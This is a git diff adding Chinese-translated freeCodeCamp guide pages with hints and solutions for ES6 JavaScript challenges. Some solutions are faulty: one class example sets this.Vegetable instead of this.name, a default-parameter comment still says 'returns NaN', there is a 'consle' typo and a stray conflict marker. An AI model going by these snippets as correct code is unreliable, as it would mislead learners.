diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md
new file mode 100644
index 0000000000..73b0378aa8
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/create-strings-using-template-literals/index.md
@@ -0,0 +1,37 @@
+---
+title: Create Strings Using Template Literals
+localeTitle: 使用模板文字创建字符串
+---
+ES6不是使用字符串连接，而是提供模板文字来创建字符串。在此挑战中，您必须使用模板文字来创建文本警告数组。
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序并编写自己的代码。
+
+### 问题说明：
+
+需要使用模板文字将列表作为数组中的每个元素返回，因为元素将包含在`<li></li>`标记中。
+
+## 提示：1
+
+*   使用`map()`函数在所有`arr`元素上应用模板文字
+
+> _现在尝试解决问题_
+
+## 提示：2
+
+*   在`map()`使用一个箭头函数，它将`element`作为参数并返回`<li></li>` ，它具有text-warning类并包含其中的`element`
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+``const resultDisplayArray = arr.map(item => `<li class="text-warning">${item}</li>`);``
+
+## 没有map（）解决方案
+
+尽管它是一个不太灵活的解决方案，如果您事先知道元素的数量，您可以将它们枚举为
+
+``const resultDisplayArray = [`<li class="text-warning">${arr[0]}</li>`, `<li class="text-warning">${arr[1]}</li>` ,`<li class="text-warning">${arr[2]}</li>`];``
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md
new file mode 100644
index 0000000000..d5370638bf
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/declare-a-read-only-variable-with-the-const-keyword/index.md
@@ -0,0 +1,68 @@
+---
+title: Declare a Read-Only Variable with the const Keyword
+localeTitle: 使用const关键字声明只读变量
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### 问题说明：
+
+将所有变量更改为`let`或`const`并重命名`sentence` 。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   用只读`const`替换`var`的字符串。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   更换`var`中`for`循环来`let` 。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   常见的约定是使用ALL CAPS命名`const`变量。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function printManyTimes(str) { 
+      "use strict"; 
+      const SENTENCE = str + " is cool!"; 
+      for(let i = 0; i < str.length; i+=2) { 
+        console.log(SENTENCE); 
+      } 
+    } 
+    printManyTimes("freeCodeCamp"); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://codepen.io/dylantyates/pen/OwVxyx)
+
+# 代码说明：
+
+通过在`sentence`上使用`const` ，我们可以将它设为只读，并且通过在for循环中使用`let` on `i` ，我们可以避免一起使用`var` 。为了增加代码清晰度，我们还可以将`sentence`更改为`SENTENCE`以显示它是常量。
+
+#### 相关链接
+
+*   [常量](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)
+*   [让](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md
new file mode 100644
index 0000000000..c469a6daef
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/explore-differences-between-the-var-and-let-keywords/index.md
@@ -0,0 +1,58 @@
+---
+title: Explore Differences Between the var and let Keywords
+localeTitle: 探索var和let关键字之间的差异
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### 问题说明：
+
+我们需要改变每一个`var` ，以`let`我们的代码。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   找到每个`var`并替换为`let` 。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    let catName; 
+    let quote; 
+    function catTalk() { 
+      "use strict"; 
+ 
+      catName = "Oliver"; 
+      quote = catName + " says Meow!"; 
+ 
+    } 
+    catTalk(); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://codepen.io/dylantyates/pen/eKqoGY)
+
+# 代码说明：
+
+通过使用`let`而不是`var`我们可以避免重写`catName`和`quote` 。
+
+#### 相关链接
+
+*   [VAR](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/var)
+*   [让](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/let)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md
new file mode 100644
index 0000000000..18d2f7c40a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/import-a-default-export/index.md
@@ -0,0 +1,22 @@
+---
+title: Import a Default Export
+localeTitle: 导入默认导出
+---
+## 导入默认导出
+
+导入导出默认值与导入正常导出几乎相同;你只是不需要花括号来定义你从文件导入的名称！
+
+## 提示1：
+
+填写空白： `import _ from "file-name"` 。将模块的名称（ `subtract` ）插入`_` ，并将`"math-functions"`插入`"file-name"` 。
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascript
+"use strict"; 
+ import subtract from "math_functions"; 
+ subtract(7,4); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/index.md
new file mode 100644
index 0000000000..a59cfa7544
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/index.md
@@ -0,0 +1,11 @@
+---
+title: ES6
+localeTitle: ES6
+---
+## ES6
+
+这是一个存根。 [帮助我们的社区扩展它](https://github.com/freecodecamp/guides/tree/master/src/pages/mathematics/quadratic-equations/index.md) 。
+
+[这种快速风格指南有助于确保您的拉取请求被接受](https://github.com/freecodecamp/guides/blob/master/README.md) 。
+
+#### 更多信息：
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md
new file mode 100644
index 0000000000..410e87dffa
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/mutate-an-array-declared-with-const/index.md
@@ -0,0 +1,62 @@
+---
+title: Mutate an Array Declared with const
+localeTitle: 改变用const声明的数组
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### 问题说明：
+
+使用各种元素赋值重新分配`const`变量`s`值。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   您可以使用`var`或`let`更改`const`上的数组值。
+
+> _现在尝试解决问题_
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   要访问数组值，请使用array \[index\]
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    const s = [5, 7, 2]; 
+    function editInPlace() { 
+      "use strict"; 
+      s[0] = 2; 
+      s[1] = 5; 
+      s[2] = 7; 
+    } 
+    editInPlace(); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://codepen.io/dylantyates/pen/djoVjW)
+
+# 代码说明：
+
+尝试重新分配只读`const`变量会引发错误，但通过使用各种元素赋值，您可以像使用`let`或`var`一样访问和更改数组的值。
+
+#### 相关链接
+
+*   [常量](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/const)
+*   [排列](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md
new file mode 100644
index 0000000000..832fed7eac
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/prevent-object-mutation/index.md
@@ -0,0 +1,64 @@
+---
+title: Prevent Object Mutation
+localeTitle: 防止对象突变
+---
+![](//discourse-user-assets.s3.amazonaws.com/original/2X/3/3c8584a085a0deaea66b3400e6321eeadab552a2.jpg)
+
+![:triangular_flag_on_post:](https://forum.freecodecamp.com/images/emoji/emoji_one/triangular_flag_on_post.png?v=3 "：triangular_flag_on_post：")如果卡住，请记得使用**`Read-Search-Ask`** 。尝试配对程序![:busts_in_silhouette:](https://forum.freecodecamp.com/images/emoji/emoji_one/busts_in_silhouette.png?v=3 "：busts_in_silhouette：")并编写自己的代码![:pencil:](https://forum.freecodecamp.com/images/emoji/emoji_one/pencil.png?v=3 "：铅笔：")
+
+### 问题说明：
+
+我们需要防止`MATH_CONSTANTS`值发生变化。
+
+## ![:speech_balloon:](https://forum.freecodecamp.com/images/emoji/emoji_one/speech_balloon.png?v=3 "：speech_balloon：")提示：1
+
+*   使用Object.freeze（obj）来防止对象被更改。
+
+> _现在尝试解决问题_
+
+## 扰流警报！
+
+![警告牌](//discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+**提前解决！**
+
+## ![:beginner:](https://forum.freecodecamp.com/images/emoji/emoji_one/beginner.png?v=3 "：初学者：")基本代码解决方案
+
+```javascript
+    function freezeObj() { 
+      "use strict"; 
+      const MATH_CONSTANTS = { 
+        PI: 3.14 
+      }; 
+ 
+      Object.freeze(MATH_CONSTANTS); 
+ 
+      try { 
+        MATH_CONSTANTS.PI = 99; 
+      } catch( ex ) { 
+        console.log(ex); 
+      } 
+      return MATH_CONSTANTS.PI; 
+    } 
+ 
+    const PI = freezeObj(); 
+```
+
+![:rocket:](https://forum.freecodecamp.com/images/emoji/emoji_one/rocket.png?v=3 "：火箭：") [运行代码](https://codepen.io/dylantyates/pen/OwVxYB)
+
+# 代码说明：
+
+通过在`MATH_CONSTANTS`上使用Object.freeze（），我们可以避免操纵它。
+
+#### 相关链接
+
+*   [Object.freeze（）](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze)
+
+## ![:clipboard:](https://forum.freecodecamp.com/images/emoji/emoji_one/clipboard.png?v=3 "：剪贴板：")捐款说明：
+
+*   ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **请勿**添加与任何现有解决方案类似的解决方案。如果您认为它**_相似但更好_** ，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - **基本** ， **中级**和**高级** 。 ![:traffic_light:](https://forum.freecodecamp.com/images/emoji/emoji_one/traffic_light.png?v=3 "：红绿灯：")
+*   如果您添加了任何**相关的主要内容，**请仅添加您的用户名。 （ ![:warning:](https://forum.freecodecamp.com/images/emoji/emoji_one/warning.png?v=3 "：警告：") **_不要_** _删除任何现有的用户名_ ）
+
+> 看到![:point_right:](https://forum.freecodecamp.com/images/emoji/emoji_one/point_right.png?v=3 "：point_right：") [**`Wiki Challenge Solution Template`**](http://forum.freecodecamp.com/t/algorithm-article-template/14272)供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md
new file mode 100644
index 0000000000..297125aab1
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/set-default-parameters-for-your-functions/index.md
@@ -0,0 +1,72 @@
+---
+title: Set Default Parameters for Your Functions
+localeTitle: 设置函数的默认参数
+---
+## 设置函数的默认参数
+
+： _帖子_上_的_ _三角旗_ _：如果卡住，请记得使用Read-Search-Ask。尝试配对程序：_ busts in\_silhouette：并编写自己的代码：pencil：
+
+### ：checkered\_flag：问题说明：
+
+```javascript
+const increment = (function() { 
+  "use strict"; 
+  return function increment(number, value) { 
+    return number + value; 
+  }; 
+ })(); 
+ console.log(increment(5, 2)); // returns 7 
+ console.log(increment(5)); // returns NaN 
+```
+
+我们将修改增量功能，使**数**参数递增1默认情况下，如果**值**的值不会传递到增量功能设置**值设置**为1。
+
+### ：speech\_balloon：提示：1
+
+让我们确定参数**值**在JS函数中的位置
+
+现在尝试解决问题
+
+### ：speech\_balloon：提示：2
+
+设置**值**等于某个**值** ，以便默认为该值
+
+现在尝试解决问题
+
+### 扰流警报！
+
+![扰流板](http://discourse-user-assets.s3.amazonaws.com/original/2X/2/2d6c412a50797771301e7ceabd554cef4edcd74d.gif)
+
+提前解决！
+
+## ：初学者：基本代码解决方案：
+
+```javascript
+const increment = (function() { 
+  "use strict"; 
+  return function increment(number, value = 1) { 
+    return number + value; 
+  }; 
+ })(); 
+ console.log(increment(5, 2)); // returns 7 
+ console.log(increment(5)); // returns NaN 
+```
+
+：rocket： [运行代码](https://repl.it/@RyanPisuena/PleasingFumblingThings)
+
+## 代码说明
+
+*   这部分非常简单。通过将**value**参数设置为1来传递此部分。当函数遇到未传递任何**值的**测试用例时，默认情况下将为**值**分配一个值。
+
+相关链接：
+
+[Javascript默认参数](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/Default_parameters)
+
+# ：剪贴板：供稿说明：
+
+*   ：警告：请勿添加与任何现有解决方案类似的解决方案。如果您认为它相似但更好，那么尝试合并（或替换）现有的类似解决方案。
+*   添加解决方案的说明。
+*   将解决方案分为以下类别之一 - 基本，中级和高级。 ：红绿灯：
+*   如果您添加了任何相关的主要内容，请仅添加您的用户名。 （：警告：不要删除任何现有的用户名）
+
+请参阅：point\_right： [Wiki挑战解决方案模板](https://forum.freecodecamp.org/t/freecodecamp-algorithm-challenge-template-guide/14272)以供参考。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md
new file mode 100644
index 0000000000..04e1cc803b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/understand-the-differences-between-import-and-require/index.md
@@ -0,0 +1,24 @@
+---
+title: Understand the Differences Between import and require
+localeTitle: 理解import和require之间的差异
+---
+## 理解import和require之间的差异
+
+让我们澄清一下： `require()`加载整个文件及其组件（函数，变量），而`import _ from`允许您手动选择所需的组件。
+
+在本课程中，您的任务是导入函数`capitalizeStrings()` ，该函数来自文件`"string-functions"` 。
+
+## 提示1：
+
+填写空白： `import { function_name } from "file_name"` 。您的函数名称是`capitalizeStrings` ，您的文件名是`"string-functions"` 。
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+"use strict"; 
+ import { capitalizeString } from "string-functions"; 
+ capitalizeString("hello!"); 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md
new file mode 100644
index 0000000000..5c776a945b
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use--to-import-everything-from-a-file/index.md
@@ -0,0 +1,21 @@
+---
+title: Use * to Import Everything from a File
+localeTitle: 使用*从文件导入所有内容
+---
+## 使用\*从文件导入所有内容
+
+如果要从文件导入所有可能的内容，则使用ES6提供的`import * as _ from`语法。这正是你在这次挑战中所做的任务！
+
+## 提示1：
+
+填写空白： `import * as objName from "file-name"` 。您可以使用`objName` ，但您的文件名应为`capitalize_strings` 。
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascript
+"use strict"; 
+ import * as str from "capitalize_strings"; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md
new file mode 100644
index 0000000000..24ff418033
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-arrow-functions-to-write-concise-anonymous-functions/index.md
@@ -0,0 +1,30 @@
+---
+title: Use Arrow Functions to Write Concise Anonymous Functions
+localeTitle: 使用箭头函数编写简明的匿名函数
+---
+## 使用箭头函数编写简明的匿名函数
+
+再一次，ES6就是让JavaScript变得更优雅，而对于某些人来说，更具可读性。
+
+如上所述，当您确定在其他任何地方都不会通过名称调用该函数时，可以创建匿名函数。
+
+## 提示1：
+
+摆脱`function`关键字，并插入此`=>`箭头。
+
+## 提示2：
+
+你摆脱了`var`关键字吗？
+
+## 剧透警报 - 提前解决！
+
+## 解
+
+```javascript
+const magic = () => { 
+  "use strict"; 
+  return new Date(); 
+ }; 
+```
+
+只要你摆脱了`var`关键字，你就会很好。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md
new file mode 100644
index 0000000000..eea4497bca
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-class-syntax-to-define-a-constructor-function/index.md
@@ -0,0 +1,58 @@
+---
+title: Use class Syntax to Define a Constructor Function
+localeTitle: 使用类语法定义构造函数
+---
+## 使用类语法定义构造函数
+
+在本课程中，您将使用类语法定义Vegetable对象。
+
+## 提示1：
+
+创建名为`Vegetable`的类。它将包含有关`Vegetable`对象的必要详细信息。
+
+## 提示2：
+
+使用名为`name`的参数构造一个构造函数，并将其设置为`this.name` 。
+
+## 剧透警报 - 提前解决！
+
+## 解：
+
+```javascript
+function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+  class Vegetable { 
+    constructor(name){ 
+      this.name = name; 
+    } 
+  } 
+  /* Alter code above this line */ 
+  return Vegetable; 
+ } 
+```
+
+\=======
+
+扰流板警告：如果您遇到困难，这是解决此挑战的基本解决方案。
+
+```javascript
+function makeClass() { 
+  "use strict"; 
+  /* Alter code below this line */ 
+ 
+   class Vegetable { 
+     constructor(Vegetable){ 
+       this.Vegetable = Vegetable; 
+ 
+     } 
+   } 
+ 
+  /* Alter code above this line */ 
+  return Vegetable; 
+ } 
+ const Vegetable = makeClass(); 
+ const carrot = new Vegetable('carrot'); 
+ console.log(carrot.name); // => should be 'carrot' 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md
new file mode 100644
index 0000000000..b1ccdda40a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-arrays/index.md
@@ -0,0 +1,14 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Arrays
+localeTitle: 使用解构分配从数组中分配变量
+---
+## 使用解构分配从数组中分配变量
+
+在这种情况下，我们必须采取一些预防措施。
+
+1.  不需要const \[b，a\]因为它将保持赋值局部的效果。
+    
+2.  const \[b，a\] = \[a，b\]将导致a，b的值为undefined（从左到右的简单赋值规则）。
+    
+
+因此，这个问题的解决方案是 \[b，a\] = \[a，b\]
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md
new file mode 100644
index 0000000000..6479b80648
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-nested-objects/index.md
@@ -0,0 +1,18 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Nested Objects
+localeTitle: 使用解构分配从嵌套对象分配变量
+---
+## 使用解构分配从嵌套对象分配变量
+
+提示通过最终测试：使用_嵌套解构_
+
+测试希望您仅获得`max`和`max` 。如果你将常量解构为包含`max`和`min` ，则测试将失败。
+
+## 扰流板！
+
+这是代码解决方案：
+
+```javascript
+const { tomorrow: { max: maxOfTomorrow } } = forecast; 
+
+```
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md
new file mode 100644
index 0000000000..06177367d4
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-assign-variables-from-objects/index.md
@@ -0,0 +1,22 @@
+---
+title: Use Destructuring Assignment to Assign Variables from Objects
+localeTitle: 使用解构分配从对象分配变量
+---
+## 使用解构分配从对象分配变量
+
+# 这个挑战需要一些关于javascript中的字符串对象的直觉。
+
+创建字符串对象时，它基于以下[字符串原型](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/prototype) 。
+
+因此，每个字符串都具有长度属性; genericString = {length：13}。 （这是String.prototype中唯一采用的属性。）
+
+# 使用解构重新分配属性。
+
+```javascript
+var basicOjb = {x: 40}; 
+ //To reassign 'get the value of the x property of basicObj and place its value into bigX' in ES6: 
+ const { x: bigX } = basicOjb; 
+ consle.log(bigX) // ans = 40 
+```
+
+将'str'的length属性值放入len中。
\ No newline at end of file
diff --git a/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md
new file mode 100644
index 0000000000..e636fdc48a
--- /dev/null
+++ b/client/src/guide/chinese/certifications/javascript-algorithms-and-data-structures/es6/use-destructuring-assignment-to-pass-an-object-as-a-functions-parameters/index.md
@@ -0,0 +1,50 @@
+---
+title: Use Destructuring Assignment to Pass an Object as a Function's Parameters
+localeTitle: 使用解构分配将对象作为函数的参数传递
+---
+## 使用解构分配将对象作为函数的参数传递
+
+您可以传递整个对象，然后使用选择所需的特定属性`.`运营商。但ES6提供了更优雅的选择！
+
+## 提示1：
+
+摆脱`stats` ，看看你是否可以解构它。我们需要`max`和`min`的`stats` 。
+
+## 扰流板警告 - 未来的解决方案！
+
+## 解决方案1：
+
+```javascript
+const half = (function() { 
+  "use strict"; // do not change this line 
+ 
+  // change code below this line 
+  return function half({max, min}) { 
